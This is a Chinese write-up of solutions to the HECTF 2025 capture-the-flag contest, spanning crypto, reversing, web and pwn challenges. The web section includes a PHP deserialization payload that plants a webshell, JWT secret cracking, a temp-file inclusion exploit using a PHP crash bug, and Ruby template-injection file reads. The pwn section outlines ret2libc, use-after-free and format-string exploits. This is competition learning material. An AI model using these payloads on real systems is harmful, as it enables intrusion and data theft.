由河北师范大学SourceCode战队与河北科技大学AfterWave网安协会联合发起的第九届HECTF 2025信息安全挑战赛,正式定档2025年12月20日-12月21日!
本次大赛的核心技术支撑由凌武科技自主研发的“凌云”攻防竞赛平台提供。该平台是经国家级权威赛事验证的下一代网络安全竞赛靶场,已圆满支撑近百场全国、省市和行业级重大赛事。
平台依托独创的云原生虚拟化底座技术,能够构建复杂网络拓扑,深度还原真实网络环境,实现靶场环境秒级部署,支持千人并发竞技。平台全面兼容CTF夺旗、AWD攻防、应急响应、车联网安全、人工智能安全等多种前沿
赛制,通过3D/2D 可视化大屏和实时攻防监控系统,动态呈现竞赛战况与排名,为选手提供极致贴近实战的竞技体验,保障竞赛公平性。
Misc
签到
关注凌武科技微信公众号,关注公众号后发送“2025HECTF,启动!!!”,获得小惊喜!!!
公众号发关键词,flag:
HECTF{欢迎来到2025_HECTF!!!}
Check_In
🎵 🍑🎲⚽🍉 🚃
给出:
1 | ctf i love u -> 🎹🏀🌺 🎵 🍑🎲⚽🍉 🚃 |
由HECTF头,对照已知的字母-emoji对应关系,得:
HECTF{?elco?e_to_hectf_ho?e_?ou_ca?_e??o?_it}
再猜单词,得flag:
HECTF{welcome_to_hectf_hope_you_can_enjoy_it}
Word_Document
word文档里没有你想要的东西
解压docx文件,在word文件夹下找到flag.txt文件,直接打开发现是zip。
改后缀为zip,16进制查看确少文件头 504B,补充完整,打开需要密码。
到word/document.xml找到:
1 | cGFzc3dvcmQ6My4xNDE1OTI2 |
base64解码得:password:3.1415926
解压得到flag.png:

flag:
HECTF{W5w_Y0u_Kn0w_7he_docx}
同分异构
同分异构
网页源代码有提示:
1 | bWQ1LnBocA== |
base64解码是:md5.php
访问 /md5.php,需要上传两个md5值相同的不同文件。
md5 hash强碰撞,从 corkami - collisions 库随便找两个文件下载,去掉后缀,上传提交得flag。
快来反馈吧~
填问卷,flag:
HECTF{Feedback_Received_Thx4Playing}
Crypto
simple_math
一道普通的数学题,我会做数学题,你会做数学题吗?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28 from Crypto.Util.number import *
from secret import flag
def getmodule(bits):
while True:
f = getPrime(bits)
g = getPrime(bits)
p = (f<<bits)+g
q = (g<<bits)+f
if isPrime(p) and isPrime(q):
assert p%4 == 3 and q%4 == 3
n = p * q
break
return n
e = 8
n = getmodule(128)
m = bytes_to_long(flag)
c = pow(m,e,n)
print('c =',c)
print('n =',n)
"""
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
"""
$n$ 的素因子 $p,q$ 是把两个 128-bit 素数 $f,g$ 拼接后再“交换半边”得到的:
设 $B=2^{128}$,有 $p=fB+g$,$q=gB+f$。
令 $s = f + g$,$a = fg$
展开:$n = (fB + g)(gB + f) = fg(B^2 + 1) + (f^2 + g^2)B$
又因为: $f^2 + g^2 = (f + g)^2 - 2fg = s^2 - 2a$
代回去:
$n = a(B^2 + 1) + (s^2 - 2a)B
= a(B^2 - 2B + 1) + s^2 B
= a(B - 1)^2 + s^2 B$
记 $M = B - 1$,则:$n \equiv s^2 B \pmod{M^2}$
因为 $\gcd(B, M) = 1$,所以 $B$ 在模 $M^2$ 下可逆:
$s^2 \equiv n \cdot B^{-1} \pmod{M^2}$
并且 $s < 2B \Rightarrow s^2 < 4B^2 \approx 4M^2$,所以 $s^2$ 只可能是:
$s^2 = r + kM^2,\; k \in \{0,1,2,3,4\}$
其中 $r = (n \cdot B^{-1}) \bmod M^2$。
只要枚举很小的 $k$,找到“刚好是完全平方数”的那个即可。
有了 $s$ 能得到 $p+q$:
$p + q = (fB + g)(gB + f) = (f + g)(B + 1) = s(B + 1)$
最后有限域开8次方即可。
1 | from Crypto.Util.number import long_to_bytes |
下个棋吧
先别做题了,flag给你,过来陪我下把棋,对了,别忘了flag要大写,RERBVkFGR0RBWHtWR1ZHWEFYRFZHWEFYRFZWVkZWR1ZYVkdYQX0=
base64得到:
DDAVAFGDAX{VGVGXAXDVGXAXDVVVFVGVXVGXA}
再由提示棋盘密码,ADFGVX密码解得:
hectf{1145145201314}
flag:HECTF{1145145201314}
ez_rsa
实在不知道怎么描述才好,反正是道简简单单的rsa,非常容易就能做出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33 from Crypto.Util.number import *
from gmpy2 import next_prime
from secret import flag
e = 65537
while True:
p1 = getPrime(512)
p2 = next_prime(p1)
q1 = getPrime(250)
q2 = getPrime(250)
n1 = p1**2*q1
n2 = p2**2*q2
if abs(p1-p2)<p1/(4*q1*q2):
break
l = len(flag) // 2
m1, m2 = bytes_to_long(flag[:l]), bytes_to_long(flag[l:])
c1 = pow(m1,e,n1)
c2 = pow(m2,e,n2)
print('c1 =', c1)
print('c2 =', c2)
print('n1 =', n1)
print('n2 =', n2)
"""
c1 = 53794102520259772962649045858576221465470825190832934218429615676578733090040151233709954118823187509134204197900878909625807999086331747342514637503295791730180510192956834523005990404866445713234424086559831376810175311081520383413318056594422752551500083114685166907745013622324855991979140245907218436391231529893571051805289332021969063468163881523935479367416921655014639791920
c2 = 9052082423365224257952169727471511116343636754632940194264502704697852932532482639724493657103678314302886687710898937205955106008040357863303819909329575056725102501066300771840780970209680697874184954776520388520912958918609760491518738565339512830340891355495761329325539914537183981946727807621066415407718405281155516000986687797150964327740274908804298880671020463280815846412
n1 = 98883753407297608957629424865714335053996022388238735569824164507623692527853962975392303234473035916456899244665285221847772940522588864849967816934720547920870269288918027227609323674530533210183199265184870283022950180411036770713693931074212919932370249829101629879564811122352724775705189146681235092749483273337940646214392591186563201709371435197518622209250725811137856196641
n2 = 52847447490004248309003888295738534958949920800650087542364666545481208701251931880585683578162296213389552561184640931603466477091024928446523302557870614402843171797849560571453293858739610330175253863157533028976216594152329043556996573601155253747817112184987205405092446153491574442703185973485274472403444657880456022918181503181300476227341269990508005711171556056777832920469
"""
$n_1=p_1^2q_1,\; n_2=p_2^2q_2$,并且 $p_2=\text{next_prime}(p_1)$ 且非常接近;给的约束
$|p_1-p_2|<\cfrac{p_1}{4q_1q_2}$,正是为了让 $\cfrac{n_1}{n_2}$ 的连分数收敛分数里能出现 $\cfrac{q_1}{q_2}$。
$\cfrac{n_1}{n_2}=\cfrac{p_1^2q_1}{p_2^2q_2}=\cfrac{q_1}{q_2}\cdot \cfrac{p_1^2}{p_2^2}$
因此
$\left|\cfrac{n_1}{n_2}-\cfrac{q_1}{q_2}\right|
=\cfrac{q_1}{q_2}\left|\cfrac{p_1^2}{p_2^2}-1\right|
=\cfrac{q_1}{q_2}\cdot\cfrac{|p_1^2-p_2^2|}{p_2^2}
=\cfrac{q_1}{q_2}\cdot\cfrac{|p_1-p_2||p_1+p_2|}{p_2^2}$
又因为 $p_1+p_2<2p_2$,所以
$\left|\cfrac{n_1}{n_2}-\cfrac{q_1}{q_2}\right|
<\cfrac{q_1}{q_2}\cdot\cfrac{|p_1-p_2|\cdot 2p_2}{p_2^2}
= \cfrac{2q_1|p_1-p_2|}{q_2p_2}
\le \cfrac{2q_1|p_1-p_2|}{q_2p_1}$
代入题目给的界 $|p_1-p_2|<\cfrac{p_1}{4q_1q_2}$:
$\left|\cfrac{n_1}{n_2}-\cfrac{q_1}{q_2}\right|
< \cfrac{2q_1}{q_2p_1}\cdot \cfrac{p_1}{4q_1q_2}
= \cfrac{1}{2q_2^2}$
所以 $\cfrac{q_1}{q_2}$ 会出现在 $\cfrac{n_1}{n_2}$ 的收敛分数里。
拿到 $q_1,q_2$ 后就能直接分解 $n_1,n_2$。
1 | from math import isqrt |
dq
简单的dq泄露
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 from Crypto.Util.number import *
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
d = inverse(e,(p-1)*(q-1))
dq = d%(q-1)
m = bytes_to_long(flag)
c = pow(m,e,n)
dq_low = dq&((1<<128)-1)
print("dq_low =",dq_low)
print("qinvp =",inverse(q,p))
print("c =",c)
print("n =",n)
"""
dq_low = 335584540380442406421659167342342638249
qinvp = 292380991609815479569318671567034568158741535336887645461482569000277924434025200418747744584399819139565007718147991186087121959333784855885409627807059
c = 79629543091521335572424036010295736463371865643788850996124745633140088693314474944546097858072542270744120204079572911048563286953176355620930088558852130198643488701338502773300967950160034234386587652495960085056607599181184904621488863558676003785173655724057777780825432810217070169799364372132482673582
n = 86062666525788610805322579359521230247485941052919698110209821574415795978267400179921030947943594715362554402337569699962889595727915713729727353653488455319575472816541725860439018405245986660080770381711691707583311039956616813650240564767989150096091515884074613899035773693670199866584129217246504406289
"""
已知 $dq_l$ 和 $\text{inv}(q,p)$,由 $e \cdot dq=k(q-1)+1$ 得到 $e \cdot dq+k-1=kq$。
$k<e$ 可以爆破,但未知 $q$,替换为已知的 $kq$,有:
$cf\cdot q\equiv1 \pmod p\rightarrow cf\cdot q-1\equiv0 \pmod p\rightarrow cf\cdot (kq)^{x+1}-k\cdot (kq)^x\equiv0 \pmod n$
令 $x=1$,得到一个模 $n$ 等式,未知数个数1,已知其低128位,设高位为 $x$,有:
$t = e\cdot (x+dp_l)-k+1$
$cf\cdot t^2-k\cdot t\equiv 0 \pmod n$
coppersmith求解即可。
1 | from Crypto.Util.number import * |
ez_ecc
简单的椭圆曲线,不会特别难
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 from Crypto.Util.number import *
from secret import add,flag,P,Q,b,p
def oncurve(P):
x,y = P
if (y**2 - x**3 - x - b)%p == 0:
return True
else:
return False
l = len(flag) // 2
m1, m2 = bytes_to_long(flag[:l]), bytes_to_long(flag[l:])
assert m1 == P[0] and m2 == Q[0]
assert oncurve(P) and oncurve(Q)
print('P + P =', add(P,P))
print('P + Q =', add(P,Q))
print('Q + Q =', add(Q,Q))
"""
P + P = (14964670759245329390375308321411786978157102161189322115734645373169213999800, 15559632617790587507311758059936601413780195603883582327743315824295031740424)
P + Q = (51100085833472068924911572616418783709145128504503165799653950174447959545831, 34374474833785437488342051727913857907583782324172232648593714071718811330923)
Q + Q = (58182088469274002379975156536635905530143308283684486683439461054185269349870, 60318982918282038994679589134874004093617373250696961967201026789735803518347)
"""
flag切成两半后分别当作点 P、Q 的 x 坐标,由已知三点反推出 p 与 b:
曲线为:$y^2 \equiv x^3 + x + b \pmod p$
所以对任意在曲线上的点 $R=(x,y)$,有:
$b \equiv y^2 - x^3 - x \pmod p$
令
$t_R = y^2 - x^3 - x$
那么对三个点 $2P, P+Q, 2Q$,它们的 $t$ 值模 $p$ 应该同余,因此:
$p \mid (t_1 - t_2)$
$p \mid (t_1 - t_3)$
$p \mid (t_2 - t_3)$
所以:
$p = \gcd(|t_1-t_2|, |t_1-t_3|, |t_2-t_3|)$
得到曲线方程后,从 $R=2P$ 反求 $P$:
设 $R=(x_R,y_R)=2P$,$P=(x,y)$。倍点公式:
$\lambda = \cfrac{3x^2+a}{2y}$(这里 $a=1$)
$x_R = \lambda^2 - 2x$
$y_R = \lambda(x-x_R)-y$
把 $\lambda$ 消掉可得到一个 关于 x 的四次多项式(在 $\mathbb{F}_p$ 上):
$\Big(2(x_R+2x)(x-x_R) - (3x^2+a)\Big)^2 - 4(x_R+2x)y_R^2 \equiv 0 \pmod p$
解出根 $x$ 后,再计算 $y^2=x^3+ax+b$ 开方,筛选满足 $2P==R$ 的点即可。
对 $2P$、$2Q$ 各会得到 2 个候选点,再用 $P+Q$ 过滤即可。
1 | from math import gcd |
ez_random
什么?你说你要flag?那我就给你一个吧,不过好像被打乱了…你想办法恢复一下…
提示1 shuffle时调用了几次state
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22 from Crypto.Util.number import *
import random
with open('shuffle_flag.txt', 'r') as fp:
flag = fp.read().encode()
m = bytes_to_long(flag)
flag_list = [ int(i) for i in bin(m)[2:] ]
rand = random.Random()
rand.shuffle(flag_list)
with open("output.txt","w") as fp:
for _ in range(312):
fp.write(str(rand.getrandbits(64))+'\n')
print('flag_list =',flag_list)
"""
flag_list = [1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1]
"""
flag转成二进制位list,先shuffle,再泄露312*64=19968位。
使用MT19937恢复state(untemper+untwist),再逆向shuffle(枚举起始index,复现permutation,尝试对flag_list的逆置换)。
1 | import random, string |
Web
老爷爷的金块
现在不知不觉2025年了,曾经在4399里遨游的小孩儿也变成大人了… 重新看了一遍4399的经典游戏,想起了这个努力挖矿的老爷爷。 下载附件,打开exe,重温童年的乐趣!
提示1 1.请注意获得的flag第六段前面有一个空格哦~
提示2 2.此题目没有O,均为数字0
这应该是misc题吧。
在picture找到bk_flag.png,提交图片上的字符串即为flag:
HECTF{D0_y0u_sti11_remem3er_me_ 1_am_g01d_miner_l0ng_time_n0_see}
PHPGift
在床上睡不着的李华翻来覆去,今天有个神秘人给他发信息说给他留下了个小礼物,于是大半夜爬起来去看了看日志系统,发现暗藏玄机……
源代码有提示:
1 | <!-- hhhhhh!!!! where is xxx.php --> |
结合主页,测试存在ser.php:
1 |
|
可以构造链:
- 反序列化一个
FileHandler对象 - 让
FileHandler::$fileName指向一个User对象 User::$data = [$loggerObject, "__invoke"]User::$params = "想写入的内容"Logger::$logFile = "想写入的路径"
1 | from phpserialize import * |
访问:
1 | /ser.php?data=TzoxMToiRmlsZUhhbmRsZXIiOjE6e3M6MjE6IgBGaWxlSGFuZGxlcgBmaWxlTmFtZSI7Tzo0OiJVc2VyIjoyOntzOjQ6ImRhdGEiO2E6Mjp7aTowO086NjoiTG9nZ2VyIjoxOntzOjE1OiIATG9nZ2VyAGxvZ0ZpbGUiO3M6NToiMi5waHAiO31pOjE7czo4OiJfX2ludm9rZSI7fXM6NjoicGFyYW1zIjtzOjI4OiI8P3BocCAoc3lzLnRlbSkoJF9HRVRbeF0pOz8%2BIjt9fQ%3D%3D |
成功写入2.php,再访问:
1 | 2.php?x=cat%20php/fffffllllaaagg.php |
得到:
1 | SEVDVEZ7YzBuZ3I0dHNfbDF0dGwzX2g0Y2szcl95MHVfZjB1bmRfbXlfNTNjcjN0X2cxZnR9 |
base64解码得flag:
HECTF{c0ngr4ts_l1ttl3_h4ck3r_y0u_f0und_my_53cr3t_g1ft}
像素勇者和神秘宝藏
📜 背景故事: 你是一位像素世界的勇者,听说在古老的“Flag神殿”中藏有一件神秘宝藏。但神殿被三道魔法门封锁,每道门都需要特定的“勇气值”才能打开。而你的初始勇气值只有 0……
源代码有注释:
1 | <!-- |
bp抓包:
1 | POST /enter |
按要求,修改role为vip,courage大于10000,以及jwt。
由注释提示,jwt secret为”hectf”各字母大小写的组合,生成字典,爆破:
1 | ./gojwtcrack -t t.txt -d dic.txt |
得到secret是”hEctF”,生成新jwt,将blessed改为true:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicGxheWVyIiwiYmxlc3NlZCI6dHJ1ZSwiZXhwIjoxNzY2MjIyNjQxfQ.08WfUJJtY2ZCkvIGOro-xC8B9XO93MLve61NZ1JyZzE |
bp改包:
1 | POST /enter |
返回:
1 | 200 OK |
flag:
HECTF{pix3l_h3r0_4lw4ys_wan34ts_t1o_enter111_d00rs_and_FInd_tr2asures!}
ez_include
不太一样的文件包含
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
highlight_file(__FILE__);
$file = $_GET['file'] ?? null;
if ($file === 'tmp') {
$tmpDir = '/tmp';
if (!is_dir($tmpDir) || !is_readable($tmpDir)) {
die("/tmp目录不可访问或不存在");
}
$files = scandir($tmpDir);
if ($files === false) {
die("无法扫描/tmp目录");
}
$phpFiles = [];
foreach ($files as $filename) {
if ($filename !== '.' && $filename !== '..' && strpos($filename, 'php') === 0) {
$phpFiles[] = $filename;
}
}
if (empty($phpFiles)) {
die();
}
foreach ($phpFiles as $name) {
$lastFour = strlen($name) >= 4 ? substr($name, -4) : $name;
echo $lastFour;
}
exit;
}
if (empty($file)) {
die("请传入有效的file参数");
}
function isAllowedFile($file) {
$filterPrefix = 'php://filter/string.strip_tags/resource=';
if (strpos($file, $filterPrefix) === 0) {
$resourcePath = substr($file, strlen($filterPrefix));
$resourceRealPath = realpath($resourcePath);
if ($resourceRealPath === false) {
return false;
}
$tmpBaseDir = realpath('/tmp') . '/';
$allowedIndexPhp = realpath('index.php');
if (strpos($resourceRealPath, $tmpBaseDir) === 0 || $resourceRealPath === $allowedIndexPhp) {
return true;
} else {
return false;
}
}
$realPath = realpath($file);
if ($realPath === false) {
return false;
}
$tmpBaseDir = realpath('/tmp') . '/';
if (strpos($realPath, $tmpBaseDir) === 0) {
return true;
}
$allowedIndexPhp = realpath('index.php');
if ($realPath === $allowedIndexPhp) {
return true;
}
return false;
}
if (!isAllowedFile($file)) {
die("file参数不合法");
}
$includeResult = @include($file);
if ($includeResult === false) {
die("<br>无法包含文件");
}
分析源码:
特殊参数 file=tmp
- 扫描
/tmp目录下以"php"开头的文件。 - 输出文件名的后四位。
- 可能用于泄露临时文件名,这里用的是
strpos($filename, 'php') === 0,所以只有以"php"开头的文件才会被统计。
核心检查函数 isAllowedFile($file)
php://filter支持允许的格式:
php://filter/string.strip_tags/resource=<file>realpath()会解析真实路径。仅允许:
文件在
/tmp目录下文件是
index.php本身
普通文件路径检查
realpath($file)成功返回真实路径。允许:
/tmp/xxx文件index.php
其他路径都被拒绝。
可以通过上传,在/tmp生成临时文件 phpXXXXXX,写入webshell。
利用 php7 segment fault特性(CVE-2018-14884):
使用 php://filter 的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除,这样的情况下只需要知道其文件名就可以包含恶意代码。
使用 php://filter/string.strip_tags 导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
该方法仅适用于以下php7版本,php5并不存在该崩溃。
利用条件:
php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
由于使用特殊参数 file=tmp 只泄露了文件名后4位,还需爆破2位:
1 | import io |
如果爆破出:php5mXPMm,再访问:
1 | ?file=/tmp/php5mXPMm&0=cat%20/ffffffflllllaaaaaagggggg |
得flag。
红宝石的恶作剧
ez_ssti
bp抓包,测试输入,出现报错的情况:

判断为基于ruby语言的web框架。
查找到列目录的方式:
?name=Dir.entries('/')

再尝试读文件,测试出使用 IO.read 的方法能成功读到根目录真正的flag文件内容:
?name=IO.read('/flag')

Reverse
easyree
flag格式为HECTF{xxxxxxxxxxxx}
提示1 xixi快来签到吧~
提示2 这一串怎么不对啊,是不是被修改了
c++程序:
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
sub_1389函数里字符串异或0x55,提取出来异或:

sub_143F函数里字符串异或0x33,提取出来异或:

sub_14FE函数是base64编码算法。
变表解base64:

flag:
HECTF{welc0m3_t0_rev3r3e_w0r1d_x1x1}
babyre
baby~
16进制查看,文件头PE改MZ,AddressOfNewExeHeader的100h改为108h。
python exe程序,pyinstxtractor解包,找到babyre.pyc,在线反编译得到源码:
1 | def rc4_crypt(data: bytes, key: bytes) -> bytes: |
魔改RC4,根据对称性改下输入为密文,解密:
1 | def rc4_crypt(data: bytes, key: bytes) -> bytes: |
traceme
这里生活着一对父子。 父亲总是默默注视着他人发给孩子的信息,并悄悄修改它…… 你能找出他们真正的交流方式吗?
核心思路:
fork() 创建父子进程
子进程:
- 读取用户输入
flag - 对
flag的奇数下标字符做^ 0x13 - 每次修改后
raise(SIGSTOP)暂停自己
父进程:
- 每次在子进程暂停时
- 用
ptrace读取子进程内存中的flag[i] - 对该字节进行循环位移变换
- 再写回子进程内存
最终子进程将被父进程篡改后的 flag与内置 data 比较。校验并不在用户输入阶段完成,而是分布在父子进程协作中完成。
奇数下标(子进程):
1 | flag[i] = input[i] ^ 0x13 |
偶数下标(父进程):
1 | flag[i] = ROR(input[i], (i % 8 == 0 ? 8 : i % 8)) |
逆向:
1 | def rol(x, n): |
SelfHash
它记得自己原本的样子。 它也只信任完整的自己……你也该相信它。 试试看,它愿意向你展示什么?

程序要求输入32字节,sub_14001B120函数实现SHA-256算法,将自身152字节计算hash,取第一个int作为seed,计算出固定xor值,用于后续SMC修改lpAddress_。
sub_14001B120函数中存在反调:

不能patch,否则会影响hash结果,直接提取sub_14001B120函数对应汇编码计算:
1 | from hashlib import sha256 |
静态通过idc代码修改lpAddress_:
1 |
|
还原得到加密逻辑:
1 | __int64 __fastcall sub_140028A80(unsigned int *a1, _DWORD *a2) |
魔改TEA逆向:
1 | from Crypto.Util.number import * |
ezapp
ezapp!!
jadx分析,apk代码有加壳,分析lib里面的so文件。
查看JNI_Onload,代码逻辑:
对输入字符串逐字节做 xor (index - 91),把结果送进 sub_1A920,校验输出是否与固定 28 字节常量匹配。
sub_1A920 函数,判定为魔改XXTEA,Delta值和轮数有变化,且key经过ror+xor+shuffle处理。
1 | import struct |
cython
cython!!启动!!
check_flag.py:
1 | from Crypto.Cipher import AES |
和给的so文件无关,直接解AES,再异或0x1f即可。

flag:
HECTF{e10c4a7ad19f60bbbbba8a962c6b4447}
Pwn
nc一下~
小明从系统后台中发现了一段有问题的日志,你能从中找到奇怪点并且消除吗?
第一步,日志里,病毒上传时间是 POST /01/data/upload/ 对应的日期,病毒名称是 GET /01/data/upload/upd0te.php 的 upd0te.php。
第二步,随便尝试 7 8 9,凭运气能通。
记录:
1 | 请找到黑客的操作[ 提交答案:病毒上传的时间+病毒名称 ]:18/May/2024:21:56:14+upd0te.php |
shop
shoping!
record_purchase函数最后有个 gets(v1),存在栈溢出,打ret2libc即可。
1 | from pwn import * |
easy_pwn
easy~
读入一个字符串 s1,对字符串中每一个字符加 1,将处理后的字符串与 “HECTF” 比较,满足条件则ret2text。
1 | from pwn import * |
Class_Schedule_Management_System
课表管理系统…
文件有upx壳,先脱壳。
note 结构体为 8 字节:
1 | typedef struct note { |
添加(HECTF_02):
malloc(8)分配 note 结构体note->printnote = HECTF_01(固定)- 读入
size(可控) note->content = malloc(size)(可控 size)read(0, content, size)(可控写入 size 字节)
打印(HECTF_04):
1 | if (notelist[idx]) |
默认 printnote = HECTF_01,其内容是 puts(this->content)。
删除(HECTF_03):
1 | if (notelist[idx]) { |
删除时没有 notelist[idx] = NULL;,存在UAF漏洞。
把某个已释放 note 结构体的前 4 字节(printnote)覆盖为 HECTF_05 地址,然后 Print 触发调用。
1 | from pwn import * |
fmt
Try to write some words
format函数使用了 printf(buf),利用格式化字符串漏洞泄露canary,然后进入到libc函数,根据read溢出,打ret2libc。
没给libc,泄露了puts地址后到 libc database search 查偏移。
1 | from pwn import * |
game
开启保护的题目…
如下载文件失败,请更换下载节点。
进入handle_menu函数;
先选择1,进入guess_game函数,seed=time(0)的随机数5次,可以泄露printf地址和全局map地址,以此计算libc地址和程序基址;
再选择2,进入game_loop函数,可写入bss的map内容,然后input_username1有0x10大小的栈溢出漏洞,采用栈迁移,将ret2syscall的链写入map,然后转到bss上getshell。
1 | from pwn import * |

